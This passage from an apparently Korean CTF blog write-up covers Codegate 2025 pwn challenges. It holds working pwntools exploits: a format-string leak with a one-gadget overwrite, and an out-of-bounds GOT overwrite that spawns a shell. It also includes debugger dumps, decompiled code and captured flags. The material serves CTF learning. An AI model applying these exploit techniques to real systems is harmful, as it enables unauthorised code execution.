'0x7fffc037f570', 'p', '0x7fffc037c3f0', '0x82', '0x80', '0x42', '0x7fffc037c27c', '0x380', '', '0x7fffc037c3f0', '0x83', '0x80', '0x35', '0x7fffc037c285', '0x380', '0x7fffc037c3f0', '0x84', '0x80', '0x34', '0x7fffc037c285', '0x380', 'p', '0x7fffc037c3f0', '0x85', '0x80', '0x33', '0x7fffc037c285', '', '0x7fffc037c3f0', '0x86', '0x80', '0x2f', '0x7fffc037c27c', '0x7fffc037c3f0', '0x87', '0x80', '0x2e', '0x7fffc037c27c', 'p', '0x7fffc037c3f0', '0x88', '0x80', '0x2d', '', '0x7fffc037c3f0', '0x89', '0x80', '0x20', '0x7fffc037c3f0', '0x8a', '0x80', '0x1f', 'p', '0x7fffc037c3f0', '0x8b', '0x80', '', '0x7fffc037c3f0', '0x8c', '0x80', '0x7fffc037c3f0', '0x8d', '0x80', 'p', '0x7fffc037c3f0', '0x8e', '', '0x7fffc037c3f0', '0x8f', '0x7fffc037c3f0', '0x90', 'p', '0x7fffc037c3f0', '', '0x7fffc037c3f0', '0x7fffc037c3f0', 'p', '', ' ', ' ']
[+] stack addr : 0x7fffc037f570
[+] libc addr : 0x729279de4000
(스택은 일단 있길래 릭 했는데 나중에 풀 때 큰 도움이 되었다.)
이제 leak 했으니 FSB로 AAW 하면 된다.
편의를 위해서 3번 기능 커서 맞추고,
puts,printf 에서 호출하는 내부 함수의 GOT를 원가젯으로 덮으려고 시도했지만
원가젯 조건이 하나도 안맞아서 이 방법은 포기했다.
스택 주소도 릭 했겠다 FSB는 printf가 호출하는 내부 함수 vfprintf에서 이루어지기 때문에
printf의 내부 함수의 RET주소를 릭한 스택주소에서 오프셋으로 구할 수 있고,
FSB로 조작하면 RIP를 마음대로 조작 할 수 있다 에필로그에서 pop 하는 가젯도 직접 조작이 가능하기 때문에 원가젯 조건도 쉽게 맞출수있다.
pwndbg>
0x00007fbf6475973a in ?? () from target:/lib/x86_64-linux-gnu/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────
RAX 0x17fc8
RBX 0
RCX 0x7fbf647f6887 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0xffffffff
RDI 0x7ffd9e5622d0 —▸ 0x7fbf64744050 (funlockfile) ◂— endbr64
RSI 0x7ffd9e5623f0 ◂— 0x2020202020202020 (' ')
R8 0x1fc8
R9 0
R10 0
R11 0x246
R12 0
*R13 0
R14 0x7fbf648f9600 (_IO_file_jumps) ◂— 0
R15 0x7fbf64949040 (_rtld_global) —▸ 0x7fbf6494a2e0 —▸ 0x5608d296e000 ◂— 0x10102464c457f
RBP 0x7ffd9e565550 —▸ 0x7ffd9e565590 ◂— 1
*RSP 0x7ffd9e564420 —▸ 0x5608d2971d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5608d296f240 (__do_global_dtors_aux) ◂— endbr64
*RIP 0x7fbf6475973a ◂— pop r14
────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────
0x7fbf64759731 mov eax, r12d EAX => 0x17fc8
0x7fbf64759734 pop rbx RBX => 0
0x7fbf64759735 pop rbp RBP => 0x7ffd9e565550
0x7fbf64759736 pop r12 R12 => 0
0x7fbf64759738 pop r13 R13 => 0
► 0x7fbf6475973a pop r14 R14 => 0x5608d2971d70 (__do_global_dtors_aux_fini_array_entry)
0x7fbf6475973c ret <execvpe+1234>
↓
0x7fbf647cdce2 <execvpe+1234> lea r14, [rip + 0xec98f] R14 => 0x7fbf648ba678 ◂— 0x68732f6e69622f /* '/bin/sh' */
0x7fbf647cdce9 <execvpe+1241> mov qword ptr [rbp - 0x48], r13 [0x7ffd9e565508] <= 0
0x7fbf647cdced <execvpe+1245> lea r8, [rbp - 0x50] R8 => 0x7ffd9e565500 ◂— ' '
0x7fbf647cdcf1 <execvpe+1249> mov qword ptr [rbp - 0x50], r14 [0x7ffd9e565500] <= 0x7fbf648ba678 ◂— 0x68732f6e69622f /* '/bin/sh' */
─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ rsp 0x7ffd9e564420 —▸ 0x5608d2971d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5608d296f240 (__do_global_dtors_aux) ◂— endbr64
01:0008│ 0x7ffd9e564428 —▸ 0x7fbf647cdce2 (execvpe+1234) ◂— lea r14, [rip + 0xec98f]
02:0010│ 0x7ffd9e564430 ◂— 0x3000000008
03:0018│ 0x7ffd9e564438 —▸ 0x7ffd9e564510 ◂— 0x380
04:0020│ 0x7ffd9e564440 —▸ 0x7ffd9e564450 ◂— 1
05:0028│ 0x7ffd9e564448 ◂— 0x12031be65ae24c00
06:0030│ 0x7ffd9e564450 ◂— 1
07:0038│ 0x7ffd9e564458 ◂— 0
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────
► 0 0x7fbf6475973a None
1 0x7fbf647cdce2 execvpe+1234
2 0x5608d296fa6f main+206
3 0x7fbf6470bd90 None
4 0x7fbf6470be40 __libc_start_main+128
5 0x5608d296f1c5 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
context.bits = 64
#p = remote("localhost", 54321)
f = lambda s: b"".join(p16(0x8000 | b) for b in s)
p = remote("43.203.137.197", 54321)
libc = ELF("./libc.so.6")
p.sendlineafter(b"> ",b"1")
for i in range(50):
p.send(f(b"%p."))
p.send(p16(0x8000))
p.send(p16(0x2000))
p.sendlineafter(b"> ",b"3")
result = []
for _ in range(4):
line = p.recvline()[:-1].decode().split(".")
result.extend(line)
print(result)
stack = int(result[57],16)
success(f"stack addr : {hex(stack)}")
libc.address = int(result[2554],16) - 0x21ca70
success(f"libc addr : {hex(libc.address)}")
p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"x > ",b"0")
p.sendlineafter(b"y > ",b"0")
main_ret = stack + 0x28
# payload = f(fmtstr_payload(12,{main_ret:0x31337})) + p16(0x2000)
# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp
printf_libc_got = 0x21a0b8 + libc.address
og = libc.address+0xebce2
payload = f(fmtstr_payload(12,{stack-0x1148:og,stack-0x1148-0x18:0,stack-0x1148-0x10:0},write_size="short")).ljust(8192,b"\\x00")
p.sendlineafter(b"> ",b"1")
p.send(payload)
p.sendlineafter(b"> ",b"3")
p.interactive()
codegate2025{c0ur463_1n_7h3_f4c3_0f_7h3_unkn0wn_15_4n_1mp0r74n7_qu4l17y_1n_4_w1z4rd}
What's Happening?
[보호기법]
# root @ daeseong in /mnt/p/codegate/2025/pwn/Magic Palette 0 [20:50:27]
~ checksec ./deploy/prob 0 [20:50:27]
[*] '/mnt/p/codegate/2025/pwn/Magic Palette/deploy/prob'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[디컴파일 코드]
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
unsigned __int64 v4; // rax
int v5; // r8d
int v6; // r9d
int v7[2]; // [rsp+18h] [rbp-68h] BYREF
int v8[2]; // [rsp+20h] [rbp-60h]
char *v9; // [rsp+28h] [rbp-58h]
char s[8]; // [rsp+30h] [rbp-50h] BYREF
__int64 v11; // [rsp+50h] [rbp-30h] BYREF
int v12[2]; // [rsp+60h] [rbp-20h] BYREF
unsigned __int64 v13; // [rsp+68h] [rbp-18h]
v13 = __readfsqword(0x28u);
(init)(argc, argv, envp);
*v8 = &objects;
init_solar_system(&objects);
v3 = "Planet Distance Calculator v1.0";
puts("Planet Distance Calculator v1.0");
while ( 1 )
{
(menu)(v3);
v4 = (prompt)(v3);
if ( v4 == 3 )
break;
if ( v4 <= 3 )
{
if ( v4 == 1 )
{
printf("Enter planet index to update (0-12): ");
__isoc99_scanf("%ld", v7);
printf("Enter planet name: ");
getchar();
if ( fgets(s, 0x20, stdin) )
{
v9 = strchr(s, 10);
if ( v9 )
*v9 = 0;
}
printf("Enter AU value: ");
__isoc99_scanf("%lf", &v11);
printf("Enter color (0-10): ");
__isoc99_scanf("%d", &v12[1]);
v3 = *v8;
update(v8[0], v7[0], v8[0], v12[0], v5, v6, s[0]);
}
else if ( v4 == 2 )
{
v3 = *v8;
print_solar_system(*v8);
}
}
}
_exit(0);
}
__int64 __fastcall init_solar_system(__int64 a1)
{
set_planet(a1, &aSun, 0LL, 0.0);
set_planet(a1 + 56, "Mercury", 1LL, 0.4);
set_planet(a1 + 112, "Venus", 2LL, 0.7);
set_planet(a1 + 168, "Earth", 3LL, 1.0);
set_planet(a1 + 224, "Mars", 4LL, 1.5);
set_planet(a1 + 280, "Asteroid Belt", 5LL, 2.8);
set_planet(a1 + 336, "Jupiter", 6LL, 5.2);
set_planet(a1 + 392, "Saturn", 7LL, 9.6);
set_planet(a1 + 448, "Uranus", 8LL, 19.2);
set_planet(a1 + 504, "Neptune", 9LL, 30.0);
set_planet(a1 + 560, "Pluto (closest)", 10LL, 29.7);
set_planet(a1 + 616, "Pluto (average)", 10LL, 39.5);
return set_planet(a1 + 672, "Pluto (most distant)", 10LL, 49.3);
}
void *__fastcall update(__int64 a1, __int64 a2, int a3, int a4, int a5, int a6, char src)
{
return memcpy((56 * a2 + a1), &src, 0x38uLL);
}
int win()
{
return system("/bin/sh");
}
BSS 영역에 objects 라는 구조체 배열을 하나 할당해 놓고 init_solar_system 함수로 각 행성마다 구조체를 넣어준다.
printf/update 기능이 있는데 PIE가 안걸려 있고,win 함수가 있기 때문에 바로 update 기능 부터 봤다.
사용자한테서 20바이트,인덱스를 입력받고 memcpy(objects[index],user_jnput) 으로 바로 복사한다.
index 검사하는 코드가 없기 때문에 OOB가 발생하고 입력도 마음대로 줄 수 있기 때문에
음수로 줘서 GOT를 덮을 수 있다.
pwndbg> i var objects
All variables matching regular expression "objects":
Non-debugging symbols:
0x00000000004040c0 objects
pwndbg> x/10gx 0x00000000004040c0+(56*-3)
0x404018 <puts@got.plt>: 0x00007f797d9a0bd0 0x0000000000401070
0x404028 <system@got.plt>: 0x0000000000401080 0x00007f797daa3b60
0x404038 <printf@got.plt>: 0x00007f797d9790f0 0x00007f797d99eb20
0x404048 <getchar@got.plt>: 0x00007f797d9a80f0 0x00000000004010d0
0x404058 <setvbuf@got.plt>: 0x00007f797d9a1540 0x00007f797d978e00
pwndbg>
인덱스를 -3 로 주면 딱 puts 의 GOT여서 바로 win 으로 덮으면 menu 함수를 호출 할 때 win 함수를 호출한다.
from pwn import *
#p = remote("localhost", 33333)
p = remote("3.37.174.221", 33333)
p.sendlineafter(b"> ",b"1")
p.sendlineafter(b"Enter planet index to update (0-12): ",b"-3")
p.sendafter(b"Enter planet name: ",p64(0x4018B4)*2+p64(0x0000000000401080)+b"\\x0A")
p.sendlineafter(b"Enter AU value: ",b"1")
p.sendlineafter(b"Enter color (0-10): ",b"1")
p.interactive()
codegate2025{43b90018c8245484a70825e02a2511e3cc36c3f4f369a58c3c1b7bcbba66cf74d1149bb719e1d6d26d2766ae41cb0d2e185d0b6e}
'CTF' 카테고리의 다른 글
2025 COSS CTF (0) | 2025.06.22 |
---|